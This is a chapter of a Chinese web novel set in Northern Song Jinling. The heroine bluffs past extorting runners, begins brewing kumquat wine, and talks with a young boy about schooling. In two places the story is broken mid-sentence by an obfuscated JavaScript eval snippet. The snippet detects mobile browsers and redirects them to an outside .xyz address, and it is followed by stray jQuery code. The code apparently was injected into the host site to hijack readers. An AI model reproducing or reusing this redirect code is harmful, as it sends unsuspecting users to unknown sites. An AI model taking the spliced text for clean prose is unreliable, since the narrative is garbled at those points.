方才还利落清爽的小娘子，此刻竟像被霜打过的茄子似的，眼窝里汪着两泡泪，鼻尖泛红，嘴角往下撇着。 像是刚被恶霸抢了糖人的三岁孩儿，虽还是那个坐姿，却凭空透出一股子叫人心酸的可怜劲儿。 “小娘子，你……” “老师傅，钱我是带了，但这是吴娘子叮嘱了要亲手交给市舶司张勾当的茶钱，恐怕不妥吧？” 桑梓见船头将将抵岸，边用袖子抹泪，边抽抽噎噎。 “那钱...那钱是吴娘子千叮万嘱要亲手交到市舶司张勾当手上的茶钱，我可怎么向吴娘子交代啊！” 见岸上的人看过来，她还悄悄掐了把大腿，眼泪珠子掉得更凶了。 连旁边的小黄狗都跟着呜咽起来，活脱脱一副受气包模样，把个船工看得目瞪口呆。 什么阿物儿也敢搬市舶司的名头？ 那领头的衙役眉头一拧刚要发作，却见眼前这小娘子眼圈一红，语速飞快地接着哀求，姿态放得极低。 “秀娘子叮嘱了，说张勾当的脾气急，耽搁不得……” 这番话可谓绵里藏针。 一则点明这钱牵涉官面人物，二则留了活话儿，若衙役硬要查验，反倒显得他们不懂官场规矩了。 那衙役果然迟疑了，目光在桑梓清秀的小脸上扫过，又瞥了眼她紧紧护着的篮子和脚边那条对着他龇牙低吠的小黄狗。 他混迹码头，自然知道吴秀娘的名声。 那可是个泼辣护短的妇人，为了一点小利去触这个霉头，确实不值当。 “晦气！快滚快滚，别挡着爷办正事！” 船公如蒙大赦，竹篙猛一点，小船便靠了岸，桑梓也低着头连声道谢，直到跳板搭上了岸，这才缓缓直起身子。 她伸手摸了摸小黄狗的脑袋，狗儿亲昵地蹭了蹭她的掌心，后背的衣衫已被冷汗浸湿了一片。 再看那几个耀武扬威的皂影，已向着另一艘船扑了过去，活像饿虎见了新羔羊。 这世道可真是阎王好见小鬼难缠，方才还威风凛凛的官差，转眼就变作抢食的饿狗。 少女揉了揉小黄狗毛茸茸的脑袋，心想今日这关算是过了，可往后这样的场面只会多不会少。 到底是人善被人欺，马善被人骑，在这金陵城里讨生活，没点狐假虎威的手段还真是寸步难行。 “那三文茶钱娘子收着罢！今日同甘共苦走这一遭，老汉倒要谢你，若非娘子急智，莫说茶钱，怕是连那五文船资都留不住！” 船工把竹篙往船板上一顿，抬手抹了把江风吹乱的汗，眼角的皱纹都舒展开来，活像刚逃过阎王勾魂簿的老寿星。 桑梓现在钱少，闻言也不推辞，只将指尖在布囊里捻了捻那三枚温热的铜钱，心里记下这份人情。 改日酿出橘酒，定要舀一壶给这老船工尝尝鲜。 江口茶肆离渡头不过百步远，青布酒旗已从柳梢头探出来，混着炊烟飘来阵阵热闹劲儿。 结果刚走到茶肆门口，桑梓就见里头杵着七八个衙门皂隶，还有三五个泼皮闲汉叉腰堵在当路，像一群苍蝇叮着块隔夜肉。 这又是什么情况？ 她刚伸头往里张望，就见虎头蹲在门口柳树下玩石子，一见她回来就过来拉住她的手。 “阿姊莫进去，娘亲让我在门口守着，说里头有恶人，叫你也别进去。” 桑梓捏了捏虎头汗湿的小手，牵着他悄没声绕到茶肆侧面，顺着竹篱笆的阴影三拐两拐便闪进自家披厦的窄门。 祖母正在院子里眯着眼晒太阳，听见门响懒洋洋一抬眼，见这一女一娃一狗风尘仆仆的模样。 “囡囡这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489008|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从哪捡来的金毛狮子？莫不是把禅院看门的阿物儿拐来了？” “阿奶可是瞧差了，这是橘林里自跟来的便宜伙计，管饭就行！” 桑梓闻言便抿嘴一笑，眉梢眼角都活泛起来，活像刚偷了油的小耗子。 说完便把篮中金橘哗啦一声倒在院地上，青黄杂糅的果子骨碌碌滚了半院子。 “虎头，正好帮阿姊拣拣这些金橘，青皮紧实的留着酿酒，熟透的咱们晚间煮甜水喝。” 甜水！ 小孩子就没有不爱甜的，小男孩立刻连方才的惊惧都忘了，麻利地蹲下身就拣起果子来。 橘酒的第一步就是拣果，要取那半黄透亮的果子，皮儿薄得能掐出水，浑圆紧实不带半点疤痢的，方是酿酒的上品。 桑梓一边嘴里教着虎头，一边手上已经麻利地分出三五个合用的果子，眼到手到快得叫人眼花。 一地黄澄澄的小可爱，活似金珠玉粒滚了满院富贵气，比那官老爷的铜钱还晃人眼。 狗儿无师自通地支棱起耳朵，紧盯着茶肆后门，像个小门神一样守住了这方寸天地。 桑梓也抬头看了眼吱呀作响的后门板，只听得衙役压低的恫吓声，混着吴娘子钉子般扎人的回话，活像两把钝刀子在暗处较劲。 苛政猛于虎也！ 今日索茶钱，明日征军饷，后天怕是要连老百姓锅里的粥沫都刮去充国库。 这大宋江山，就是被这群蛀虫啃得千疮百孔的，宋徽宗坐在汴京城里只顾着画他的花鸟，哪管得着金陵城外这些豺狼当道？ 如此一想，这北宋变成南宋也真是时也命也——活该！ 但好歹茶肆里头的动静听着不大，还没听见谁真抡起板凳动粗，总算是不幸中的万幸。 时间像白驹过隙一样跑得飞快，不过小一会儿，果子就被拣得七七八八，攒成了两小堆儿。 吴秀娘这厢也拖着步子转进后院，揉着发胀的太阳穴往石凳上一坐，像刚跟阎王账房对完账似的，连眼皮都懒得抬一下。 她不说，那桑梓也得问啊！ 倘若不问个明白，只怕这火燎眉毛的祸事转眼就烧到自家屋檐。 她桑梓可是刚与衙役跟前儿狐假虎威过的，若茶肆真惹上官司，下一个被堵门盘查的便是她这刚摘完金橘的小娘子！ “秀姐姐方才在茶肆里头…没伤着和气罢？” “跟这帮饿痨鬼还讲什么和气？他们就是阎王爷派来刮地皮的！” 吴秀娘先是对着壶嘴狠灌一口茶水，这才把茶壶往石桌上一撂，熄了心头三丈火，眉头却还拧着个解不开的疙瘩。 “丫头，今日姐教你个乖，在这金陵城里讨生活，就得学会把衙门饭当阎王债供着！” 她又呷了口茶，一把抹去额角沁出的细汗珠子，复又接着说。 “但丫头你记着，钱要给，但可不能给的太痛快，既要让他们听见响动，又得叫他们瞧见咱背脊挺得笔直！” “就好比喂那檐下雀，撒米撒得慢些，它才知是你赏的饭食。” 可是话不管怎么说，被讹诈依旧是板上钉钉的事实啊。 桑梓喉头动了动，但到底还是把话咽了回去，只看着吴秀娘揉着太阳穴的指节叹了口气。 15. 橘酒 日头渐渐爬过院墙，把一地的金橘晒得暖烘烘的，空气里都飘着酸甜的香气。 虎头蹲在青黄杂糅的果子堆旁，忍不住舔了舔嘴角，方才拣果子时，他悄悄吮过手指头，那甜津津的滋味还在齿间打转呢。 吴秀娘那壶凉茶灌下去，心头的火苗像是被泼了层湿炭，呲呲响着，只余下一股闷人的烟。 她揉着依旧发胀的太阳穴，目光却像梳子似的，把院里两小堆金橘细细篦了一遍。 刚要笑，可抬眼去看桑梓，却见那丫头已蹲在那一地金橘前，背脊挺得直直的，一言不发。 只那拣选果子的手利索极了，指尖捏住一个果子，一捻，一转，便利落地归进左手边的陶盆里—— 那是要用来酿酒的。 熟过头的，轻轻一碰就软的，便滑到右手边的竹篮，那是晚上要煮甜水的。 吴秀娘张了张嘴，想再说些活络气氛的话，却觉得所有言语都轻飘飘的，落不到实处。 “阿梓…这是准备酿酒了？” “秀姐姐，你方才说，喂那檐下雀，得让它知道是赏的饭食。” 桑梓拿起一个品相极好的金橘，对着天光看了看，橘皮薄透，隐隐能看到内里饱满的脉络，在她掌心投下一团琥珀色的光晕。 这口气，她不能直接对着衙役吐，那就全部酿进酒里。 “可我想酿一种酒，一种让他们不得不低下头，来问我们赏一口的酒。” 吴秀娘微微一怔，随即嘴角一扬，顺手抄起脚边一个半青的橘子，在手里掂了掂。 腕间的银镯子叮当响，说着便拍裙起身，顺手将那个橘子抛进缸里。 “好！有志气！这才像是你爹的闺女！” 桑梓闻言手上不停，只抬眼笑了笑。 她这秀姐姐，精明都用在茶肆和对付官差上了，灶台以外的事儿，向来是只管结果不问过程的。 既如此，就整一个漂亮结果给她看看！ 这金橘得用井水湃上一日，去去涩气，才好下坛发酵，就像调教烈马得先顺着毛捋，急不得半分。 她刚挽起袖子往井台走，小黄狗就摇着尾巴凑到井台边，两只前爪扒着湿滑的井栏直晃悠，倒像是要帮她拽那井绳。 桑梓是个不吝夸奖的好东家，当下便揉了把狗头，又顺着它的力道拽起井绳来。 “好家伙！今日头一份功劳簿上给你记个红！” 那狗儿仿佛听懂是在夸它，尾巴尖儿懒懒地晃了晃，偏过头蹭她掌心，喉间发出得意的呼噜声，倒像是真等着记功讨赏。 少女便把井水打上来，哗啦啦浇到金橘堆上冲了两遍。 待那泥点子都顺着缸沿儿流干净了，这才把陶缸稳当当放进吊桶里，咕噜噜沉到井底浸着。 沉下去，为的是将来能香醇地浮上来。 她心里默念着酿酒的老话，觉得这话如今听着，竟有了别的意味。 老祖母看着稀奇，扶着竹杖慢悠悠踱到井台边，眯眼瞧着那沉在井底的陶缸。 “囡囡这法子倒是新鲜，倒像是要把水头也湃进橘子里去。” “阿奶不知，井底凉气最养果子，明日取出来，保管连橘络都透着水灵劲儿！” 桑梓闻言，颇为自得地扬眉一笑。 果酒好歹也是她最拿手的品种，果子要先用凉水浸过，然后还要用盐搓匀，最后顶上最好盖上荷叶…… 这可都是她上辈子的秘方，都是走遍全国各大老窖原产地抠出来的独门方子。 所以即便北宋是酿酒技术顶顶尖的朝代。 即便前有衙役如狼，后有家贼似虎。 她也偏要在这夹缝里，用这满院金橘，酿出一个扬眉吐气来！ 接下来要做的依旧是禅院里那一套，蒸饭——保温——制曲。 属于是老僧敲木鱼，半点急不得，还是那句老生常谈的话，火候差一炷香时辰，酒曲就全不是那个味儿了。 于是桑梓挽起袖子便往灶房走。 米就用之前剩下的半袋糙米，不过蒸笼可不能再用香炉盖了，得用老竹编的，每道关窍都马虎不得。 在禅院她没得选，如今她全都要！ 小狗儿早和虎头去一边玩去了，如今正在灶房门槛上挤作一团。 见桑梓挽着袖子往灶房走，两个小的立刻窜起来围着她打转，倒像是早就等着她发号施令似的。 大的这个忙着抱柴火，小的那个四爪着地干不了活，就只得在面前嘤嘤打着转。 尾巴扫起些浮尘，虽帮不上大忙，倒把灶房烘得热气腾腾的。 然后就看着少女量好米蹲到井台边，木盆沿抵着膝盖，哗啦啦地淘洗起来。 水珠溅到小孩子脸上，惹得他咯咯笑，小黄狗还凑过去舔他下巴的水渍。 “虎头，你今年有七岁了嘛？怎地不见你去私塾里认几个字？” 桑梓有意放轻了声音，淘米的手却没停，水声哗哗地衬得这话像随口闲聊。 但该说不说，读书确实是孩子闻之而色变的话题。 小虎头立刻耷拉了脑袋，方才还亮晶晶的眼睛暗了下去，连手里攥着的柴火枝也松了劲儿。 “娘说束脩凑不齐，叫我再等等……” 凑不齐？ 桑梓心里头飞快地拨了下算盘。 孩子读书是多大的事儿，吴秀娘既然能掏出一贯钱予她，怎地偏偏到了虎头读书这事上就凑不齐束脩了？ 但旋即就想起北宋的蒙学规矩来。 北宋不重束脩，但难却难在要寻得一个好塾师。 城里正经塾馆多挑学生门第，商户子弟往往连名帖都递不进去，吴秀娘怕是早碰过几回软钉子了。 但若是草草找一个路子不正的塾师，把经义文章教得迂腐僵板，或是只顾着钻营时文套路，那这孩子科举路上的根基便打歪了。 如此这般下去，往后便是读再多书也难入考官的法眼，这般想来，吴秀娘的谨慎倒也在理。 “虎头想读书嘛？” “不知道是想还是不想。” 小孩子挠了挠耳朵，声音却低下去，脚尖蹭着地上的土坷垃，手指头绞着衣角搓来搓去。 “爹之前说要把我送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493247|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去禁军吃饷，娘却说东华门外唱名的才是好男儿，充军吃饷那是没出息的勾当。” 这是连桑梓也没法子的事儿，北宋的重文轻武，自太祖杯酒释兵权便成了政治正确。 文人掌枢机，武臣受节制，边关血战的将士反倒不如唱名的进士风光。 是以也不怪大宋百姓们个个闻武事而蹙眉，见诗书则展颜。 东华门外的好儿郎自是光耀门楣，那枪棒功夫练得再好，终究是凤毛麟角能挣出功名，哪及得上诗书传家来得稳妥？ 虎头一时见桑梓沉默，便缩了缩脖子，悄悄拿眼风去偷瞄她脸色，像只淋了雨的小雀儿，生怕是自己说错了话。 但他踌躇半晌，到底没把心里那些弯弯绕绕说清楚，只搓着衣角憋出一句来。 “娘说…等攒够了钱就送我去。” 桑梓却展颜笑了笑，伸手揉了揉他脑袋，转身哗啦一声将淘米水泼进阴沟里，再不提读书的话头。 对小孩子讲这些大道理顶什么用，横竖等宋徽宗上位了，她自然有法子护住身边这几口人。 “虎头，回去帮你娘照看茶肆灶火，阿姊要出去办桩事去。” “阿姊莫不是还生我的气？我走路稳当，我帮阿姊提包袱去。” 这都哪跟哪啊！ 桑梓哭笑不得地一拍大腿：“傻小子！阿姊是去进货，你当是赶集买零嘴儿呢？” 论起需要进的货，品类还真不少。 除了前面提过的盐与荷叶，还得寻些日常得用的布褡裢、细麻绳、桐油纸，外加半斤灯油一匹布才好。 过日子就是这样，钱来的闹腾，走却如流水一般悄无声息。 不过她不是那等守财奴，手头既有了钱自然要花出去创造价值，活钱才能生利，死钱只会发霉。 于是又安抚了两句小男孩，拍拍他肩膀，便提了竹篮跨出门槛。 日头正毒，她得赶在晌午前把该置办的物什都置办齐了。 宋代的交通工具，除了官轿马车，民间多用驴骡代步，既省些脚力，又不至招摇过市惹人注目。 其实原本还是有人抬着轿子的，但是自从庆历君子们一句“以人为畜”之后，这抬轿的营生便渐渐失了体面。 于是轿夫们纷纷失业，有钱的置办了骡马，没钱的就只得去码头扛包拉车，或者喝西北风去咯！ 桑梓瞥了眼零星几个蹲在桥头等活计的轿夫们，又望了眼街角拴着的青驴，选择自己腿着去。 原因也很简单，骡马市租一头青驴要二十文，她真舍不得。 不过好在北宋的交通还是比较先进的。 一出门就能看到朱漆杈子给道路分成了两块，中间是青石铺就的御道专供车马，两侧黄土垫道的偏廊才是百姓安步当车的地界。 少女于是走上那黄土垫道的偏廊，竹篮往肘间一挎，便汇入了市井的人流里。 只消抬头瞅一瞅头顶的表木或者坊额，自然知道面前的大路是通往何处。 不过也不用特意去寻路，一路吆喝着的货郎和问路的行人，自然也就把她引到了市集口来。